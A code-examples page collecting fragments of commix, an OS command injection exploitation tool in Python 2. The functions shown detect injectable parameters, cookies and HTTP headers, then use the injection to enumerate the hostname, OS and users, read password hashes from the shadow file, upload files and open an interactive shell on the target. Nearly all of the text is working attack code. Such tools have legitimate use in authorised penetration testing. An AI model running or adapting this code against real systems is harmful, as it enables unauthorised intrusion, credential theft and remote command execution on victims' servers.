                                delete_previous_shell(separator, payload, TAG,
                                                      cmd, prefix, suffix,
                                                      http_request_method, url,
                                                      vuln_parameter,
                                                      OUTPUT_TEXTFILE,
                                                      alter_shell, filename)
                                raise

                            except SystemExit:
                                # Delete previous shell (text) files (output) from temp.
                                delete_previous_shell(separator, payload, TAG,
                                                      cmd, prefix, suffix,
                                                      http_request_method, url,
                                                      vuln_parameter,
                                                      OUTPUT_TEXTFILE,
                                                      alter_shell, filename)
                                raise

                        break

    if no_result == True:
        print ""
        return False

    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Ejemplo n.º 45
0
def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method,
             url, vuln_parameter, alter_shell):

    # Hostname enumeration
    if menu.options.hostname:
        cmd = settings.HOSTNAME
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell)
        shell = cb_injector.injection_results(response, TAG)
        if shell:
            if menu.options.verbose:
                print ""
            shell = "".join(str(p) for p in shell)
            if not menu.options.verbose:
                print ""
            sys.stdout.write(Style.BRIGHT + "(!) The hostname is " +
                             Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
            sys.stdout.flush()

    # Retrieve system information
    if menu.options.sys_info:
        cmd = settings.RECOGNISE_OS
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell)
        target_os = cb_injector.injection_results(response, TAG)
        if target_os:
            target_os = "".join(str(p) for p in target_os)
            if target_os == "Linux":
                cmd = settings.RECOGNISE_HP
                response = cb_injector.injection(separator, TAG, cmd, prefix,
                                                 suffix, whitespace,
                                                 http_request_method, url,
                                                 vuln_parameter, alter_shell)
                target_arch = cb_injector.injection_results(response, TAG)
                if target_arch:
                    if menu.options.verbose:
                        print ""
                    target_arch = "".join(str(p) for p in target_arch)
                    sys.stdout.write(Style.BRIGHT +
                                     "(!) The target operating system is " +
                                     Style.UNDERLINE + target_os +
                                     Style.RESET_ALL)
                    sys.stdout.write(Style.BRIGHT +
                                     " and the hardware platform is " +
                                     Style.UNDERLINE + target_arch +
                                     Style.RESET_ALL + ".\n")
                    sys.stdout.flush()
            else:
                if menu.options.verbose:
                    print ""
                sys.stdout.write(Style.BRIGHT +
                                 "(!) The target operating system is " +
                                 Style.UNDERLINE + target_os +
                                 Style.RESET_ALL + ".\n")
                sys.stdout.flush()

    # The current user enumeration
    if menu.options.current_user:
        cmd = settings.CURRENT_USER
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell)
        cu_account = cb_injector.injection_results(response, TAG)
        if cu_account:
            cu_account = "".join(str(p) for p in cu_account)
            # Check if the user have super privileges.
            if menu.options.is_root:
                cmd = settings.ISROOT
                response = cb_injector.injection(separator, TAG, cmd, prefix,
                                                 suffix, whitespace,
                                                 http_request_method, url,
                                                 vuln_parameter, alter_shell)
                shell = cb_injector.injection_results(response, TAG)
                if menu.options.verbose:
                    print ""
                sys.stdout.write(Style.BRIGHT + "(!) The current user is " +
                                 Style.UNDERLINE + cu_account +
                                 Style.RESET_ALL)
                if shell:
                    shell = "".join(str(p) for p in shell)
                    if shell != "0":
                        sys.stdout.write(Style.BRIGHT + " and it is " +
                                         Style.UNDERLINE + "not" +
                                         Style.RESET_ALL + Style.BRIGHT +
                                         " privilleged" + Style.RESET_ALL +
                                         ".\n")
                        sys.stdout.flush()
                    else:
                        sys.stdout.write(Style.BRIGHT + " and it is " +
                                         Style.UNDERLINE + "" +
                                         Style.RESET_ALL + Style.BRIGHT +
                                         " privilleged" + Style.RESET_ALL +
                                         ".\n")
                        sys.stdout.flush()
            else:
                if menu.options.verbose:
                    print ""
                sys.stdout.write(Style.BRIGHT + "(!) The current user is " +
                                 Style.UNDERLINE + cu_account +
                                 Style.RESET_ALL + ".\n")
                sys.stdout.flush()

    # System users enumeration
    if menu.options.users:
        cmd = settings.SYS_USERS
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell)
        sys_users = cb_injector.injection_results(response, TAG)
        if sys_users:
            sys_users = "".join(str(p) for p in sys_users)
            sys_users = sys_users.replace("(@)", "\n")
            sys_users = sys_users.split()
            if len(sys_users) != 0:
                if menu.options.verbose:
                    print ""
                sys.stdout.write("(*) Fetching '" + settings.PASSWD_FILE +
                                 "' to enumerate users entries... ")
                sys.stdout.flush()
                sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
                                 Style.RESET_ALL + " ]")
                sys.stdout.write(Style.BRIGHT + "\n(!) Identified " +
                                 str(len(sys_users)) + " entries in '" +
                                 settings.PASSWD_FILE + "'.\n" +
                                 Style.RESET_ALL)
                sys.stdout.flush()
                count = 0
                for line in sys_users:
                    count = count + 1
                    fields = line.split(":")
                    # System users privileges enumeration
                    if menu.options.privileges:
                        if int(fields[1]) == 0:
                            is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
                        elif int(fields[1]) > 0 and int(fields[1]) < 99:
                            is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
                        elif int(fields[1]) >= 99 and int(fields[1]) < 65534:
                            if int(fields[1]) == 99 or int(
                                    fields[1]) == 60001 or int(
                                        fields[1]) == 65534:
                                is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
                            elif int(fields[1]) == 60002:
                                is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
                            else:
                                is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
                        else:
                            is_privilleged = ""
                    else:
                        is_privilleged = ""
                    print "  (" + str(
                        count
                    ) + ") '" + Style.BRIGHT + Style.UNDERLINE + fields[
                        0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privilleged + Style.RESET_ALL + "(uid=" + fields[
                            1] + "). Home directory is in '" + Style.BRIGHT + fields[
                                2] + Style.RESET_ALL + "'."
            else:
                print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.PASSWD_FILE + "'." + Style.RESET_ALL

    # System password enumeration
    if menu.options.passwords:
        cmd = settings.SYS_PASSES
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell)
        sys_passes = cb_injector.injection_results(response, TAG)
        if sys_passes:
            sys_passes = "".join(str(p) for p in sys_passes)
            sys_passes = sys_passes.replace("(@)", "\n")
            sys_passes = sys_passes.split()
            if len(sys_passes) != 0:
                sys.stdout.write("(*) Fetching '" + settings.SHADOW_FILE +
                                 "' to enumerate users password hashes... ")
                sys.stdout.flush()
                sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
                                 Style.RESET_ALL + " ]")
                sys.stdout.write(Style.BRIGHT + "\n(!) Identified " +
                                 str(len(sys_passes)) + " entries in '" +
                                 settings.SHADOW_FILE + "'.\n" +
                                 Style.RESET_ALL)
                sys.stdout.flush()
                count = 0
                for line in sys_passes:
                    count = count + 1
                    fields = line.split(":")
                    if fields[1] != "*" and fields[1] != "!!" and fields[
                            1] != "":
                        print "  (" + str(count) + ") " + Style.BRIGHT + fields[
                            0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[
                                1] + Style.RESET_ALL
            else:
                print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "'." + Style.RESET_ALL

    # Single os-shell execution
    if menu.options.os_cmd:
        cmd = menu.options.os_cmd
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell)
        shell = cb_injector.injection_results(response, TAG)
        if shell:
            if menu.options.verbose:
                print ""
            shell = "".join(str(p) for p in shell)
            print "\n\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
            sys.exit(0)


# eof
Ejemplo n.º 46
0
def system_information(separator, TAG, prefix, suffix, whitespace,
                       http_request_method, url, vuln_parameter, alter_shell,
                       filename, timesec):
    if settings.TARGET_OS == "win":
        settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
    cmd = settings.RECOGNISE_OS
    if settings.TARGET_OS == "win":
        if alter_shell:
            cmd = "cmd /c " + cmd
    if session_handler.export_stored_cmd(
            url, cmd, vuln_parameter) == None or menu.options.ignore_session:
        # Command execution results.
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        # Perform target page reload (if it is required).
        if settings.URL_RELOAD:
            response = requests.url_reload(url, timesec)
        # Evaluate injection results.
        target_os = cb_injector.injection_results(response, TAG, cmd)
        target_os = "".join(str(p) for p in target_os)
        session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
    else:
        target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if target_os:
        target_os = "".join(str(p) for p in target_os)
        if settings.TARGET_OS != "win":
            cmd = settings.DISTRO_INFO
            if settings.USE_BACKTICKS:
                cmd = cmd.replace("echo $(", "").replace(")", "")
            if session_handler.export_stored_cmd(
                    url, cmd,
                    vuln_parameter) == None or menu.options.ignore_session:
                # Command execution results.
                response = cb_injector.injection(separator, TAG, cmd, prefix,
                                                 suffix, whitespace,
                                                 http_request_method, url,
                                                 vuln_parameter, alter_shell,
                                                 filename)
                # Perform target page reload (if it is required).
                if settings.URL_RELOAD:
                    response = requests.url_reload(url, timesec)
                # Evaluate injection results.
                distro_name = cb_injector.injection_results(response, TAG, cmd)
                distro_name = "".join(str(p) for p in distro_name)
                if len(distro_name) != 0:
                    target_os = target_os + " (" + distro_name + ")"
                session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
            else:
                target_os = session_handler.export_stored_cmd(
                    url, cmd, vuln_parameter)
        if settings.TARGET_OS == "win":
            cmd = settings.WIN_RECOGNISE_HP
        else:
            cmd = settings.RECOGNISE_HP
        if session_handler.export_stored_cmd(
                url, cmd,
                vuln_parameter) == None or menu.options.ignore_session:
            # Command execution results.
            response = cb_injector.injection(separator, TAG, cmd, prefix,
                                             suffix, whitespace,
                                             http_request_method, url,
                                             vuln_parameter, alter_shell,
                                             filename)
            # Perform target page reload (if it is required).
            if settings.URL_RELOAD:
                response = requests.url_reload(url, timesec)
            # Evaluate injection results.
            target_arch = cb_injector.injection_results(response, TAG, cmd)
            target_arch = "".join(str(p) for p in target_arch)
            session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
        else:
            target_arch = session_handler.export_stored_cmd(
                url, cmd, vuln_parameter)
        if target_arch:
            info_msg = "The target operating system is " + str(
                target_os) + Style.RESET_ALL
            info_msg += Style.BRIGHT + " and the hardware platform is " + str(
                target_arch)
            sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
            sys.stdout.flush()
            # Add infos to logs file.
            output_file = open(filename, "a")
            info_msg = "The target operating system is " + str(target_os)
            info_msg += " and the hardware platform is " + str(
                target_arch) + ".\n"
            output_file.write(
                re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                    "", settings.INFO_BOLD_SIGN) + info_msg)
            output_file.close()
    else:
        warn_msg = "Heuristics have failed to retrieve the system information."
        print(settings.print_warning_msg(warn_msg))
Ejemplo n.º 47
0
def cb_injection_handler(url, timesec, filename, http_request_method):

    counter = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    export_injection_info = False
    injection_type = "results-based OS command injection"
    technique = "classic command injection technique"

    if not settings.LOAD_SESSION:
        info_msg = "Testing the " + "(" + injection_type.split(
            " ")[0] + ") " + technique + "... "
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()
        if settings.VERBOSITY_LEVEL >= 1:
            print ""

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
        settings.SEPARATORS) * len(settings.SUFFIXES)
    for whitespace in settings.WHITESPACE:
        for prefix in settings.PREFIXES:
            for suffix in settings.SUFFIXES:
                for separator in settings.SEPARATORS:
                    if whitespace == " ":
                        whitespace = urllib.quote(whitespace)
                    # Check injection state
                    settings.DETECTION_PHASE = True
                    settings.EXPLOITATION_PHASE = False
                    # If a previous session is available.
                    if settings.LOAD_SESSION and session_handler.notification(
                            url, technique, injection_type):
                        try:
                            settings.CLASSIC_STATE = True
                            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                                url, http_request_method)
                            checks.check_for_stored_tamper(payload)
                        except TypeError:
                            err_msg = "An error occurred while accessing session file ('"
                            err_msg += settings.SESSION_FILE + "'). "
                            err_msg += "Use the '--flush-session' option."
                            print settings.print_critical_msg(err_msg)
                            sys.exit(0)

                    else:
                        i = i + 1
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        # Change TAG on every request to prevent false-positive results.
                        TAG = ''.join(
                            random.choice(string.ascii_uppercase)
                            for i in range(6))

                        randv1 = random.randrange(100)
                        randv2 = random.randrange(100)
                        randvcalc = randv1 + randv2

                        # Define alter shell
                        alter_shell = menu.options.alter_shell

                        try:
                            if alter_shell:
                                # Classic -alter shell- decision payload (check if host is vulnerable).
                                payload = cb_payloads.decision_alter_shell(
                                    separator, TAG, randv1, randv2)
                            else:
                                # Classic decision payload (check if host is vulnerable).
                                payload = cb_payloads.decision(
                                    separator, TAG, randv1, randv2)

                            # Define prefixes & suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            # Whitespace fixation
                            payload = re.sub(" ", whitespace, payload)

                            # Check for base64 / hex encoding
                            payload = checks.perform_payload_encoding(payload)

                            # Check if defined "--verbose" option.
                            if settings.VERBOSITY_LEVEL == 1:
                                print settings.print_payload(payload)
                            elif settings.VERBOSITY_LEVEL > 1:
                                info_msg = "Generating a payload for injection..."
                                print settings.print_info_msg(info_msg)
                                print settings.print_payload(payload)

                            # Cookie Injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                response = cb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent Injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                response = cb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer Injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to referer injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                response = cb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom http header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                response = cb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                # Check if target host is vulnerable.
                                response, vuln_parameter = cb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Try target page reload (if it is required).
                            if settings.URL_RELOAD:
                                response = requests.url_reload(url, timesec)

                            # Evaluate test results.
                            time.sleep(timesec)
                            shell = cb_injector.injection_test_results(
                                response, TAG, randvcalc)

                            if not settings.VERBOSITY_LEVEL >= 1:
                                percent = ((i * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(((i * 100) / (total * 1.0)), 2))

                                if shell == False:
                                    info_msg = "Testing the " + "(" + injection_type.split(
                                        " "
                                    )[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]"
                                    sys.stdout.write(
                                        "\r" +
                                        settings.print_info_msg(info_msg))
                                    sys.stdout.flush()

                                if float(float_percent) >= 99.9:
                                    if no_result == True:
                                        percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                    else:
                                        percent = str(float_percent) + "%"
                                elif len(shell) != 0:
                                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                else:
                                    percent = str(float_percent) + "%"
                                info_msg = "Testing the " + "(" + injection_type.split(
                                    " "
                                )[0] + ") " + technique + "... " + "[ " + percent + " ]"
                                sys.stdout.write(
                                    "\r" + settings.print_info_msg(info_msg))
                                sys.stdout.flush()

                        except KeyboardInterrupt:
                            raise

                        except SystemExit:
                            raise

                        except:
                            continue

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        found = True
                        no_result = False
                        # Check injection state
                        settings.DETECTION_PHASE = False
                        settings.EXPLOITATION_PHASE = True
                        if settings.COOKIE_INJECTION == True:
                            header_name = " cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " parameter"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, the_type, header_name,
                                http_request_method, vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION:
                            print ""

                        # Print the findings to terminal.
                        success_msg = "The"
                        if found_vuln_parameter == " ":
                            success_msg += http_request_method + ""
                        success_msg += the_type + header_name
                        success_msg += found_vuln_parameter + " seems injectable via "
                        success_msg += "(" + injection_type.split(
                            " ")[0] + ") " + technique + "."
                        print settings.print_success_msg(success_msg)
                        print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub(
                            "%20", " ", re.sub("%2B", "+",
                                               payload)) + Style.RESET_ALL
                        # Export session
                        if not settings.LOAD_SESSION:
                            session_handler.injection_point_importation(
                                url,
                                technique,
                                injection_type,
                                separator,
                                shell[0],
                                vuln_parameter,
                                prefix,
                                suffix,
                                TAG,
                                alter_shell,
                                payload,
                                http_request_method,
                                url_time_response=0,
                                timesec=0,
                                how_long=0,
                                output_length=0,
                                is_vulnerable=menu.options.level)
                        else:
                            whitespace = settings.WHITESPACE[0]
                            settings.LOAD_SESSION = False

                        # Check for any enumeration options.
                        new_line = True
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to enumerate again? [Y/n] > "
                                    enumerate_again = raw_input(
                                        "\n" + settings.print_question_msg(
                                            question_msg)).lower()
                                else:
                                    enumerate_again = ""
                                if len(enumerate_again) == 0:
                                    enumerate_again = "y"
                                if enumerate_again in settings.CHOICE_YES:
                                    cb_enumeration.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        timesec)
                                    #print ""
                                    break
                                elif enumerate_again in settings.CHOICE_NO:
                                    new_line = False
                                    break
                                elif enumerate_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                                    print settings.print_error_msg(err_msg)
                                    pass
                        else:
                            if menu.enumeration_options():
                                cb_enumeration.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, timesec)

                        if not menu.file_access_options(
                        ) and not menu.options.os_cmd and new_line:
                            print ""

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            if settings.ENUMERATION_DONE != True:
                                print ""
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to access files again? [Y/n] > "
                                    sys.stdout.write(
                                        settings.print_question_msg(
                                            question_msg))
                                    file_access_again = sys.stdin.readline(
                                    ).replace("\n", "").lower()
                                else:
                                    file_access_again = ""
                                if len(file_access_again) == 0:
                                    file_access_again = "y"
                                if file_access_again in settings.CHOICE_YES:
                                    cb_file_access.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        timesec)
                                    print ""
                                    break
                                elif file_access_again in settings.CHOICE_NO:
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    err_msg = "'" + file_access_again + "' is not a valid answer."
                                    print settings.print_error_msg(err_msg)
                                    pass
                        else:
                            if menu.file_access_options():
                                # if not menu.enumeration_options():
                                #   print ""
                                cb_file_access.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, timesec)
                                print ""

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            # if not menu.file_access_options():
                            #   print ""
                            cb_enumeration.single_os_cmd_exec(
                                separator, TAG, prefix, suffix, whitespace,
                                http_request_method, url, vuln_parameter,
                                alter_shell, filename, timesec)

                        # Pseudo-Terminal shell
                        go_back = False
                        go_back_again = False
                        while True:
                            if go_back == True:
                                break
                            if not menu.options.batch:
                                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                                sys.stdout.write(
                                    settings.print_question_msg(question_msg))
                                gotshell = sys.stdin.readline().replace(
                                    "\n", "").lower()
                            else:
                                gotshell = ""
                            if len(gotshell) == 0:
                                gotshell = "y"
                            if gotshell in settings.CHOICE_YES:
                                if not menu.options.batch:
                                    print ""
                                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                if readline_error:
                                    checks.no_readline_module()
                                while True:
                                    try:
                                        if not readline_error:
                                            # Tab compliter
                                            readline.set_completer(
                                                menu.tab_completer)
                                            # MacOSX tab compliter
                                            if getattr(
                                                    readline, '__doc__', ''
                                            ) is not None and 'libedit' in getattr(
                                                    readline, '__doc__', ''):
                                                readline.parse_and_bind(
                                                    "bind ^I rl_complete")
                                            # Unix tab compliter
                                            else:
                                                readline.parse_and_bind(
                                                    "tab: complete")
                                        cmd = raw_input("""commix(""" +
                                                        Style.BRIGHT +
                                                        Fore.RED +
                                                        """os_shell""" +
                                                        Style.RESET_ALL +
                                                        """) > """)
                                        cmd = checks.escaped_cmd(cmd)
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            go_back, go_back_again = shell_options.check_option(
                                                separator,
                                                TAG,
                                                cmd,
                                                prefix,
                                                suffix,
                                                whitespace,
                                                http_request_method,
                                                url,
                                                vuln_parameter,
                                                alter_shell,
                                                filename,
                                                technique,
                                                go_back,
                                                no_result,
                                                timesec,
                                                go_back_again,
                                                payload,
                                                OUTPUT_TEXTFILE="")
                                            if go_back and go_back_again == False:
                                                break
                                            if go_back and go_back_again:
                                                return True
                                        else:
                                            # Command execution results.
                                            time.sleep(timesec)
                                            response = cb_injector.injection(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)
                                            # Try target page reload (if it is required).
                                            if settings.URL_RELOAD:
                                                response = requests.url_reload(
                                                    url, timesec)
                                            if menu.options.ignore_session or \
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # Evaluate injection results.
                                                try:
                                                    shell = cb_injector.injection_results(
                                                        response, TAG, cmd)
                                                    shell = "".join(
                                                        str(p) for p in shell)
                                                except:
                                                    print ""
                                                    continue
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, shell,
                                                        vuln_parameter)
                                            else:
                                                shell = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)
                                            if shell:
                                                html_parser = HTMLParser.HTMLParser(
                                                )
                                                shell = html_parser.unescape(
                                                    shell)
                                                # Update logs with executed cmds and execution results.
                                                logs.executed_command(
                                                    filename, cmd, shell)
                                            if shell != "":
                                                print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                                            else:
                                                if settings.VERBOSITY_LEVEL >= 1:
                                                    print ""
                                                err_msg = "The '" + cmd + "' command, does not return any output."
                                                print settings.print_critical_msg(
                                                    err_msg) + "\n"

                                    except KeyboardInterrupt:
                                        raise

                                    except SystemExit:
                                        raise

                            elif gotshell in settings.CHOICE_NO:
                                if checks.next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOICE_QUIT:
                                sys.exit(0)

                            else:
                                err_msg = "'" + gotshell + "' is not a valid answer."
                                print settings.print_error_msg(err_msg)
                                pass

    if no_result == True:
        if settings.VERBOSITY_LEVEL == 0:
            print ""
        return False
    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Ejemplo n.º 48
0
def current_user(separator, TAG, prefix, suffix, whitespace,
                 http_request_method, url, vuln_parameter, alter_shell,
                 filename):
    if settings.TARGET_OS == "win":
        settings.CURRENT_USER = settings.WIN_CURRENT_USER
    cmd = settings.CURRENT_USER
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     whitespace, http_request_method, url,
                                     vuln_parameter, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Evaluate injection results.
        cu_account = cb_injector.injection_results(response, TAG)
        cu_account = "".join(str(p) for p in cu_account)
        session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
    else:
        cu_account = session_handler.export_stored_cmd(url, cmd,
                                                       vuln_parameter)
    if cu_account:
        cu_account = "".join(str(p) for p in cu_account)
        # Check if the user have super privileges.
        if menu.options.is_root or menu.options.is_admin:
            if settings.TARGET_OS == "win":
                cmd = settings.IS_ADMIN
            else:
                cmd = settings.IS_ROOT
            response = cb_injector.injection(separator, TAG, cmd, prefix,
                                             suffix, whitespace,
                                             http_request_method, url,
                                             vuln_parameter, alter_shell,
                                             filename)
            if session_handler.export_stored_cmd(url, cmd,
                                                 vuln_parameter) == None:
                # Evaluate injection results.
                shell = cb_injector.injection_results(response, TAG)
                shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
                session_handler.store_cmd(url, cmd, shell, vuln_parameter)
            else:
                shell = session_handler.export_stored_cmd(
                    url, cmd, vuln_parameter)
            if menu.options.verbose:
                print ""
            sys.stdout.write(Style.BRIGHT + "(!) The current user is " +
                             Style.UNDERLINE + cu_account + Style.RESET_ALL)
            # Add infos to logs file.
            output_file = open(filename, "a")
            output_file.write("    (!) The current user is " + cu_account)
            output_file.close()
            if shell:
                if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
                   (settings.TARGET_OS != "win" and shell != "0"):
                    sys.stdout.write(Style.BRIGHT + " and it is " +
                                     Style.UNDERLINE + "not" +
                                     Style.RESET_ALL + Style.BRIGHT +
                                     " privileged" + Style.RESET_ALL + ".\n")
                    sys.stdout.flush()
                    # Add infos to logs file.
                    output_file = open(filename, "a")
                    output_file.write(" and it is not privileged.\n")
                    output_file.close()
                else:
                    sys.stdout.write(Style.BRIGHT + " and it is " +
                                     Style.UNDERLINE + Style.RESET_ALL +
                                     Style.BRIGHT + "privileged" +
                                     Style.RESET_ALL + ".\n")
                    sys.stdout.flush()
                    # Add infos to logs file.
                    output_file = open(filename, "a")
                    output_file.write(" and it is privileged.\n")
                    output_file.close()
        else:
            if menu.options.verbose:
                print ""
            sys.stdout.write(Style.BRIGHT + "(!) The current user is " +
                             Style.UNDERLINE + cu_account + Style.RESET_ALL +
                             ".\n")
            sys.stdout.flush()
            # Add infos to logs file.
            output_file = open(filename, "a")
            output_file.write("    (!) The current user is " + cu_account +
                              "\n")
            output_file.close()
Ejemplo n.º 49
0
        dest_to_upload = os.path.split(
            menu.options.file_dest)[0] + "/" + os.path.split(
                menu.options.file_upload)[1]
    elif os.path.split(menu.options.file_dest)[0] == "/":
        dest_to_upload = "/" + os.path.split(
            menu.options.file_dest)[1] + "/" + os.path.split(
                menu.options.file_upload)[1]
    else:
        dest_to_upload = menu.options.file_dest

    # Execute command
    cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     whitespace, http_request_method, url,
                                     vuln_parameter, alter_shell, filename)
    shell = cb_injector.injection_results(response, TAG)
    shell = "".join(str(p) for p in shell)

    # Check if file exists!
    cmd = "echo $(ls " + dest_to_upload + ")"
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     whitespace, http_request_method, url,
                                     vuln_parameter, alter_shell, filename)
    shell = cb_injector.injection_results(response, TAG)
    shell = "".join(str(p) for p in shell)
    if shell:
        if menu.options.verbose:
            print ""
        sys.stdout.write(Style.BRIGHT + "(!) The " + Style.UNDERLINE + shell +
                         Style.RESET_ALL + Style.BRIGHT +
                         " file was uploaded successfully!" + Style.RESET_ALL +
Ejemplo n.º 50
0
def system_users(separator, TAG, prefix, suffix, whitespace,
                 http_request_method, url, vuln_parameter, alter_shell,
                 filename, timesec):
    if settings.TARGET_OS == "win":
        settings.SYS_USERS = settings.WIN_SYS_USERS
        settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
        if alter_shell:
            settings.SYS_USERS = settings.SYS_USERS.replace("'", "\\'")
